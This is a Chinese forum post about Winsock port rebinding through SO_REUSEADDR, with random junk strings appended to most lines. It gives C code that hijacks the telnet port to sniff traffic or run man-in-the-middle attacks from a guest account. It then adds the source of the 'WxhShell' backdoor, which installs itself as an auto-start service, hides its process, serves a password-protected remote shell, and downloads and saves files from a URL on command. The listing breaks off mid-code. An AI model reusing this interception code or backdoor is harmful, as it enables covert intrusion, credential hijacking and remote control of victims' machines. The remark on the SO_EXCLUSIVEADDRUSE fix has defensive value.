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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N$>.V7H&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ILi{5L  
9e|-sn  
  saddr.sin_family = AF_INET; }-YM>q  
l;{n" F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2I'gT$h  
+tOmKY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7A:k  
qTc-Z5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &b :u~puM  
Ff6l"A5  
  这意味着什么?意味着可以进行如下的攻击: ^h wF=  
"^M/iv(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aumWU{j=  
*}fs@"S   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wf*G+&b d2  
r~f*aD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p;8I@~dh  
F)fCj^ zL  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K]c|v i_D  
rl:6N*kK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MU_8bK9m  
<'(O0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;B Lw?kf  
:+?eF^ 5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~|y$^qy?U  
Buxn!s  
  #include W^U6O&-K  
  #include vP k\b 3E  
  #include $a / jfpV  
  #include    {?X#E12vf  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :vsBobiJ  
  int main() R0 yPmh,{  
  { &P2tzY'  
  WORD wVersionRequested; vI84= n  
  DWORD ret; :eHD{=  
  WSADATA wsaData; WA'4y\N  
  BOOL val; ucP"<,a  
  SOCKADDR_IN saddr; /-C`*P=:u  
  SOCKADDR_IN scaddr; pt/UY<@yoN  
  int err; B7'rbc'  
  SOCKET s; dWR-}>  
  SOCKET sc; ^4G%*-   
  int caddsize; XIep3l*  
  HANDLE mt; Fa"/p_1  
  DWORD tid;   c@|!0 U%j  
  wVersionRequested = MAKEWORD( 2, 2 ); M53{e;.kN  
  err = WSAStartup( wVersionRequested, &wsaData ); T O]wD^`  
  if ( err != 0 ) { ^-wdIu~p?  
  printf("error!WSAStartup failed!\n"); rofGD9f   
  return -1; ,0pCc<  
  } _ ^2\/@  
  saddr.sin_family = AF_INET; m2{DLw".  
   ELvP<Ny}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hf`5NcnP  
0[ BPmO6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &^7^7:Y=?  
  saddr.sin_port = htons(23); mVs<XnA47  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o5(~nQ  
  { id?B<OM  
  printf("error!socket failed!\n"); E2nsBP=5C  
  return -1;  Lw1aG;5  
  } )IFFtU~,  
  val = TRUE; 6Trtulm  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L|`(u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e[($rsx  
  { J$>9UC k7B  
  printf("error!setsockopt failed!\n"); dI%#cf1  
  return -1; f\vy5''  
  } vU9j|z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; IQ] tcSQl  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {Q(R#$)5+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hM NC]  
6>d0i S@R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U3tA"X.K  
  { O/ ih9,  
  ret=GetLastError(); oD8X]R, H  
  printf("error!bind failed!\n"); ,3,(/%=k  
  return -1; )KbzgmLr  
  } Q13>z%Rge  
  listen(s,2); JU`5K}H<  
  while(1) }{SpV  
  { -VafN   
  caddsize = sizeof(scaddr); B(ZK\]  
  //接受连接请求 qZB}}pM#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :YUQKy  
  if(sc!=INVALID_SOCKET) !g2 ~|G  
  { p->b Vt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P+gY LX8  
  if(mt==NULL) ,xOOR   
  { u d$*/ )/  
  printf("Thread Creat Failed!\n"); 5`A^"}0  
  break; \wb0%> 0  
  } 4iC=+YUn  
  } | HfN<4NL  
  CloseHandle(mt); PCX X[N  
  } Rdj/n :  
  closesocket(s); Bxf]Lu,\U@  
  WSACleanup(); A[8vD</}_  
  return 0; }~+_|  
  }   nS9 kwaO  
  DWORD WINAPI ClientThread(LPVOID lpParam) H^J waF  
  { !K8V":1du#  
  SOCKET ss = (SOCKET)lpParam; ?>T (  
  SOCKET sc; f~Ve7   
  unsigned char buf[4096]; R.)w l  
  SOCKADDR_IN saddr; 3x3 =ke!  
  long num; ~0T,_N  
  DWORD val; X{-901J1  
  DWORD ret; cIB[D.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F&)(G\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hNUkaP  
  saddr.sin_family = AF_INET; B nu5\P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +I[Hxf~  
  saddr.sin_port = htons(23); ^hyp}WN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "H3DmsB  
  { @z<IsAE  
  printf("error!socket failed!\n"); Y:KIaYkk  
  return -1; BQF7S<O+  
  } |0s)aV|K  
  val = 100; b X'.hHR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7Ug^aA  
  { mj|TWDcj+  
  ret = GetLastError(); *jrQ-'<T  
  return -1; vQsI^p  
  } Q'R*a(pm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~ "stI   
  { QvvH/u  
  ret = GetLastError(); "S^ ""5  
  return -1; c]>LL(R-7)  
  } bO6LBSZx]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W_Eur,/`  
  { &eY&6I  
  printf("error!socket connect failed!\n"); m=Fk  
  closesocket(sc); a@s@E  
  closesocket(ss); <)9dTOdd  
  return -1; ~xakz BE  
  } 0o_wy1O1,  
  while(1) 7>!Rg~M  
  { j5~nLo2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L1u(\zw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^J?y mo$>0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;wKsi_``@  
  num = recv(ss,buf,4096,0); &p_V<\(%  
  if(num>0) #-9@*FFL,  
  send(sc,buf,num,0); ![3l K  
  else if(num==0) fYUbr"Oe  
  break; .u\xA7X  
  num = recv(sc,buf,4096,0); B0dv_'L}L  
  if(num>0) hjx= ?  
  send(ss,buf,num,0); {~{</ g/  
  else if(num==0) b|E1>TkY  
  break; EU4j'1!&g<  
  } '-NHu +  
  closesocket(ss); r0j+P%  
  closesocket(sc); tA{?-5  
  return 0 ; E-"b":@:  
  } $Fik]TbQp  
7 ?a!x$-U(  
k\A[p\  
========================================================== 87q~ nk  
m(p0)X),_i  
下边附上一个代码,,WXhSHELL cC7&]2X +f  
qY$]^gS  
========================================================== xY$@^(Q\  
f3"sKL4|  
#include "stdafx.h" r"W,G /;h  
WNWtQ2]  
#include <stdio.h> 6'6,ySo]  
#include <string.h> Wk-jaz  
#include <windows.h> ?i5=sK\  
#include <winsock2.h> Rn5{s3?F~2  
#include <winsvc.h> t>%+[7?6  
#include <urlmon.h> *4?%Y8;bF6  
#!R=h|  
#pragma comment (lib, "Ws2_32.lib") \>p\~[cxt  
#pragma comment (lib, "urlmon.lib") Lu9`(+  
x{I, gu|+  
#define MAX_USER   100 // 最大客户端连接数 8Y&_X0T|  
#define BUF_SOCK   200 // sock buffer -PLh|  
#define KEY_BUFF   255 // 输入 buffer )bR`uV9<  
B'!I{LC  
#define REBOOT     0   // 重启 -@?4Tfl  
#define SHUTDOWN   1   // 关机 = sh3&8  
NkY7Hg0  
#define DEF_PORT   5000 // 监听端口 4StoEgFS  
#Z1 <lAy  
#define REG_LEN     16   // 注册表键长度 'NSfGC%7R  
#define SVC_LEN     80   // NT服务名长度 #v}pn2g%>  
hd~0qK  
// 从dll定义API ~U<=SyZYo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `<IaQY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VkZ3Q7d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yL"UBe}v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CQ/ps,~M  
pz,iQUs _o  
// wxhshell配置信息 ~__rI-/_  
struct WSCFG { 0^mCj<g  
  int ws_port;         // 监听端口 Z@6xu;O  
  char ws_passstr[REG_LEN]; // 口令 a&%v^r[  
  int ws_autoins;       // 安装标记, 1=yes 0=no KU 98"b5  
  char ws_regname[REG_LEN]; // 注册表键名 fO,m_ OR:)  
  char ws_svcname[REG_LEN]; // 服务名 rB}2F*eT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CC|=$(PgT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]@ N::!m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^17i98w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "V{v*Aei0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3B?7h/f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dlCmSCp%  
JGQ)/(  
}; Mc /= Fs  
+XpQ9Cd  
// default Wxhshell configuration @ GXi{9  
struct WSCFG wscfg={DEF_PORT, OTD<3Q q  
    "xuhuanlingzhe", &Rt^G  
    1, O[15x H,  
    "Wxhshell", iG+=whvL  
    "Wxhshell", sjG@4Or  
            "WxhShell Service", Oz-@e%8L  
    "Wrsky Windows CmdShell Service", 5;X3{$y  
    "Please Input Your Password: ", $\q}A:  
  1, >N-l2?rE  
  "http://www.wrsky.com/wxhshell.exe", ]^I[SG,  
  "Wxhshell.exe" nJcY>Rp?  
    }; {)PgN  
DTz)qHd#X  
// 消息定义模块 wPxtQv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F&$~]R=&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <~n%=^knE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2k+u_tj>  
char *msg_ws_ext="\n\rExit."; H-t"Z}  
char *msg_ws_end="\n\rQuit."; AQTV1f_  
char *msg_ws_boot="\n\rReboot..."; T0"q,lrdxV  
char *msg_ws_poff="\n\rShutdown..."; '4,>#D8@O  
char *msg_ws_down="\n\rSave to "; %,f(jQfg_  
S#N4!"  
char *msg_ws_err="\n\rErr!"; Vu;z|L  
char *msg_ws_ok="\n\rOK!"; lN'b"N  
Pa-{bhllu)  
char ExeFile[MAX_PATH]; #PQhgli  
int nUser = 0; !xE@r,'oN  
HANDLE handles[MAX_USER]; yeIc Q%  
int OsIsNt; vQmqYyOc2  
:Hj #1-U  
SERVICE_STATUS       serviceStatus; z?  Ck9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kerBy\^  
jf=\\*64r4  
// 函数声明 gXe`G( w  
int Install(void); +Sak_*fq  
int Uninstall(void); cBQ+`DXn5c  
int DownloadFile(char *sURL, SOCKET wsh); |nmt /[  
int Boot(int flag); m.ejGm?  
void HideProc(void); Ao$|`Lgj=z  
int GetOsVer(void); 6-QcHJ>m6U  
int Wxhshell(SOCKET wsl); ?wREX[Tqs  
void TalkWithClient(void *cs); e`zCz`R  
int CmdShell(SOCKET sock); e@{Rlz   
int StartFromService(void); tgC)vZ&a  
int StartWxhshell(LPSTR lpCmdLine); *{dMo,.eI  
LN`Y`G|op  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `&i\q=u+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J }|6m9k!  
> *soc!#Y  
// 数据结构和表定义 t^"8 v3'h  
SERVICE_TABLE_ENTRY DispatchTable[] = ;@H:+R+(  
{ f47dB_{5f.  
{wscfg.ws_svcname, NTServiceMain}, lsKQZ@LN`  
{NULL, NULL} q,>4#J[2;s  
}; q``:[Sz  
$^`@lyr  
// 自我安装 w+iI ay  
int Install(void) \WxBtpbQ B  
{ iC~ll!FA!  
  char svExeFile[MAX_PATH]; "x O+  
  HKEY key; f7:}t+d  
  strcpy(svExeFile,ExeFile); iJS7g  
f0 kz:sZ9  
// 如果是win9x系统,修改注册表设为自启动 xM![  
if(!OsIsNt) { J=b 'b%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #~[{*[B+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sBLOrbo  
  RegCloseKey(key); OM81$Xo=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a?@lX>Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A~H@0>1  
  RegCloseKey(key); VcLzv{  
  return 0; P4fnBH4OQ  
    } wY3| 5kbDj  
  } p#6tKY;N  
} f([d/  
else { ?{\h`+A  
6N[X:F 3`,  
// 如果是NT以上系统,安装为系统服务 c^stfFE&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i&j]FX6q  
if (schSCManager!=0) %:Z_~7ZR  
{ +0) H~ qB\  
  SC_HANDLE schService = CreateService "-S@R=bi  
  ( p$mt&,p  
  schSCManager, & l0LW,Bx  
  wscfg.ws_svcname, Nka 3H7 `  
  wscfg.ws_svcdisp, i5gNk)D  
  SERVICE_ALL_ACCESS, O=oIkvg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *W2o$_Hs  
  SERVICE_AUTO_START, OR}+) n{  
  SERVICE_ERROR_NORMAL, yB|1?L#  
  svExeFile, a\}` f=T  
  NULL, #I\" 'n5M  
  NULL, 6zI}?KZf  
  NULL, xNjWo*y v  
  NULL, KW/LyiP#  
  NULL e xkPu-[W  
  ); <6+T&Ov6  
  if (schService!=0) }i J$&CJ  
  { WEtPIHruyt  
  CloseServiceHandle(schService); H4$f+  
  CloseServiceHandle(schSCManager); jB`:(5%RO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {C0Y8:"`  
  strcat(svExeFile,wscfg.ws_svcname); KDb`g}1Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =}YX I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RFX{]bQp9  
  RegCloseKey(key); @9R78Zra  
  return 0; h/6^>setz  
    } ?!O4ia3nFk  
  } 3R-5&!i  
  CloseServiceHandle(schSCManager); v]Aop<KLX  
} _!_1=|[  
} h1l%\3ZH  
_3.rPS,s  
return 1; 0Ua=&;/2  
} a$Hq<~46  
=- ,'LOE  
// 自我卸载 |(AFU3 ~  
int Uninstall(void) D c;k)z=  
{ M93*"jA  
  HKEY key; \+=`o .2  
$HtGB]  
if(!OsIsNt) { XMdCQ=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )@P*F) g~  
  RegDeleteValue(key,wscfg.ws_regname); p_X{'=SQ1  
  RegCloseKey(key); `WnsM; 1Y"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {&UA6 0~6  
  RegDeleteValue(key,wscfg.ws_regname); -m@PqJF^  
  RegCloseKey(key); r-yUWIr S  
  return 0; bE{Y K  
  } '5LdiSk  
} Dh}(B$~Oz+  
} +cSc0:  
else { ,.}%\GhY  
B\e*-:pq>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a2tEp+7?  
if (schSCManager!=0) ,B_c  
{ UoKVl-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MtaGv#mJ  
  if (schService!=0) d~QM@<SV  
  { %y|pVN!U  
  if(DeleteService(schService)!=0) { Ff(};$/& W  
  CloseServiceHandle(schService); GBT|1c'i  
  CloseServiceHandle(schSCManager); d9BFeq8  
  return 0; lWtfcU?S[  
  } 0c`nk\vUy  
  CloseServiceHandle(schService); yCav;ZS_  
  } M<d!j I9)  
  CloseServiceHandle(schSCManager); /e|Lw4$@S  
} af %w|M  
} vdC0tax  
aHmg!s}&  
return 1; Yj/ o17  
} 4=/jh:h  
*1{A'`.=\  
// 从指定url下载文件 I;%1xdPt  
int DownloadFile(char *sURL, SOCKET wsh) vxTn  
{ ?]$<Ufr  
  HRESULT hr; 6?~9{0  
char seps[]= "/"; OKlR`Vaty  
char *token; !p!Qg1O6o  
char *file; tWTHyL  
char myURL[MAX_PATH]; #Iv KI+"  
char myFILE[MAX_PATH]; UMe?nAC  
R6od{#5H$  
strcpy(myURL,sURL); vj%"x/TP  
  token=strtok(myURL,seps); N6"sXw m  
  while(token!=NULL) vJ}WNvncVF  
  { M,@M5o2u  
    file=token; V [g^R*b  
  token=strtok(NULL,seps); 5\C(2naf  
  } -0kMh.JYR  
$q:l \  
GetCurrentDirectory(MAX_PATH,myFILE); %%}l[W  
strcat(myFILE, "\\"); Os'E7;:1h  
strcat(myFILE, file); wGNE b  
  send(wsh,myFILE,strlen(myFILE),0); C/Tk`C&  
send(wsh,"...",3,0); m(U.BXo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v#&;z_I+  
  if(hr==S_OK) o #\L4P(J  
return 0; E> GmFw  
else Awxm[:r>^  
return 1; X^N6s"2  
6Q7=6  
} `WOoC   
Es7 c2YdU  
// 系统电源模块 IC'+{3.m8  
int Boot(int flag) \O"H#gt  
{ 1[O cZ CS  
  HANDLE hToken; @[9  
  TOKEN_PRIVILEGES tkp; H!]&"V77  
_ikKOU^8  
  if(OsIsNt) { d.~ns4bt9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <M1*gz   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Nm z5:Rq  
    tkp.PrivilegeCount = 1; &?bsBqpN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r+ 8Tp|%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ; X+tCkzF  
if(flag==REBOOT) { i /[{xRXiR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `oikSx$vB.  
  return 0; 0vfMJzk  
} {U_ ,y(V  
else { siCi+Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f\cTd/?Ju  
  return 0; 13/,^?  
} '6qH@r4Z<  
  } A+M4=  
  else { ? bWc<]  
if(flag==REBOOT) { 4'#=_J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dNf9,P_}  
  return 0; :2c(.-[`  
} YX,;z/Jw2  
else { u-iQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _@XueNU1hS  
  return 0; xI?'Nh  
} $!9U\Au>2  
} P{K\}+9F   
>x6\A7  
return 1; 8BAe6-*S8  
} b*h:e.q  
dLH@,EKl)  
// win9x进程隐藏模块 U9`Co&Z2  
void HideProc(void) :* |WE29U  
{ <(Ar[Rp  
0N!rIz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }o!b3*#  
  if ( hKernel != NULL ) ,/p+#|>C=  
  { Z<d=v3q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z:h'kgG&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 63\ CE_p  
    FreeLibrary(hKernel); k}g4?  
  } <Sd ef^  
30I-E ._F  
return; cy6YajOk7  
} =jm\8sl~~  
s~(`~Y4  
// 获取操作系统版本 F# 9^RA)9  
int GetOsVer(void) mnZfk  
{ DS4y@,/)'  
  OSVERSIONINFO winfo; vD#kH 1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); au=@]n#<(  
  GetVersionEx(&winfo); |AExaO"jk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :/PxfN5  
  return 1; f\$_^dV  
  else L^C B#5uG  
  return 0; PQ_A^95  
} \kI{#   
UnVa`@P^:G  
// 客户端句柄模块 ;=P!fvHk  
int Wxhshell(SOCKET wsl) Y evd h<  
{ aEa.g.SZ  
  SOCKET wsh; H^o_B1  
  struct sockaddr_in client; PVxu8n  
  DWORD myID; #d<"Ub  
e+#k\x   
  while(nUser<MAX_USER) \TzBu?,v8  
{ 4,YL15.  
  int nSize=sizeof(client); k]-Q3 V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GHi'ek<?^  
  if(wsh==INVALID_SOCKET) return 1; TntTR"6aD  
b$ 8R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^g2Vz4u  
if(handles[nUser]==0) 7&jq  =  
  closesocket(wsh); @|w/`!}9q  
else eq"Xwq*  
  nUser++; /VEK<.,aMv  
  } mss.\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gCRPaF6  
Hd-g|'^K  
  return 0; KT(v'KE 1  
} plr3&T~,&S  
1jBIi  
// 关闭 socket c1R[Hck  
void CloseIt(SOCKET wsh) z wwJyy%/  
{ h~._R6y  
closesocket(wsh); 6N Ogi  
nUser--; y= 8SD7P'  
ExitThread(0); [T [] U   
} @0tX ,Z9  
T.%yeJiE  
// 客户端请求句柄 ]70ZerQ~L  
void TalkWithClient(void *cs) Ne3YhCC>  
{ @a=jSB#B  
-i91nMi]  
  SOCKET wsh=(SOCKET)cs; y La E]  
  char pwd[SVC_LEN]; #l9sQ-1Q  
  char cmd[KEY_BUFF]; P_p\OK*l]o  
char chr[1]; 8B!QqLqK  
int i,j; vwa*'C  
?V~vP%1  
  while (nUser < MAX_USER) { w|0:0Rc~u  
NP4u/C<  
if(wscfg.ws_passstr) { ?h| DeD!s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OP=-fX|*Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `6#s+JA[  
  //ZeroMemory(pwd,KEY_BUFF); #2Vq"Zn  
      i=0; yVKl%GO  
  while(i<SVC_LEN) { 7.)_H   
~oK0k_{~  
  // 设置超时 B:cQsaty  
  fd_set FdRead; /Ah'KN|EN  
  struct timeval TimeOut;  #3RElI  
  FD_ZERO(&FdRead); +n%8*F&  
  FD_SET(wsh,&FdRead); SL+n y(y  
  TimeOut.tv_sec=8; 0~[M[T\  
  TimeOut.tv_usec=0; }1CvbB%,A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >'WTVj`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6p3cMJ'8y  
4L97UhLL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Q+z^zlC  
  pwd=chr[0]; T#I}w\XlhP  
  if(chr[0]==0xd || chr[0]==0xa) { LN5q_ZvR  
  pwd=0; w?M"`O(  
  break; eE;j#2SEO  
  } [a~@6*=  
  i++; 0=40}n&`  
    } !tx.2m*5  
*1:kIi7_  
  // 如果是非法用户,关闭 socket 8|L5nQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VyNU<}  
} %@ q2  
M[-/&;`f@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }6{00er  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yB{1&S5 C  
8A-*MU`+  
while(1) { G<`(d@g  
hew"p(`  
  ZeroMemory(cmd,KEY_BUFF); PB BJ.!Pb  
NH=@[t) P,  
      // 自动支持客户端 telnet标准   N1x~-2(  
  j=0; xnw'&E  
  while(j<KEY_BUFF) { %*gg6Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :gRVa=}=  
  cmd[j]=chr[0]; 4TiHh  
  if(chr[0]==0xa || chr[0]==0xd) { sP=^5K`g  
  cmd[j]=0; qn}VW0!  
  break; Kf,AnKkn'  
  } WK#%G  
  j++; /pLf?m9  
    } y T&#k1  
CqU^bVs  
  // 下载文件 K;w]sN+I  
  if(strstr(cmd,"http://")) { #2Iw%H2q&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fy&u[Jd{  
  if(DownloadFile(cmd,wsh)) hx:^xW@r4P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K(TejW#  
  else D& &71X '  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]-;JHB5A_:  
  } Y^8'P /A  
  else { giesof  
yDRi  
    switch(cmd[0]) { ;Uy}(  
  :6o|6MC!  
  // 帮助 :$P1ps3B  
  case '?': { 2{oQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OF-g7s6VH  
    break; t2m7Yh5B  
  } /o}i,i$  
  // 安装 -"#jRP]#  
  case 'i': { |PGTP#O<  
    if(Install()) g!cW`B'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nm %7e!{m  
    else L2%D$!9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G%K&f1q%  
    break; y!q`o$nK  
    } k_gl$`A  
  // 卸载 zp``e;gY  
  case 'r': { _|;{{8*?  
    if(Uninstall()) Wq}W )E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8cURYg6v  
    else nXjSf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W?[ C au-  
    break; 5%@~"YCo  
    } +NeoGnj  
  // 显示 wxhshell 所在路径 {*<%6?  
  case 'p': { 5Ux=5a  
    char svExeFile[MAX_PATH]; E #!.;AQ  
    strcpy(svExeFile,"\n\r"); *,=8x\Shp  
      strcat(svExeFile,ExeFile); \zOsq5}  
        send(wsh,svExeFile,strlen(svExeFile),0); "}oo`+]Cq  
    break; 4`Jf_C  
    } jc,Q g2  
  // 重启 :EH>&vm  
  case 'b': { HLL=.: P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *R7bI?ow  
    if(Boot(REBOOT)) G+I->n-s4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7c6- o"A  
    else { Kp;a(D  
    closesocket(wsh); B^{~,'  
    ExitThread(0); b7gN|Hw5 H  
    } 6:?mz;oP  
    break; `91Z]zGpU  
    } 7Rc>LI* '  
  // 关机 Mh{;1$j#  
  case 'd': { \c!e_rZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SQ'%a-Mct  
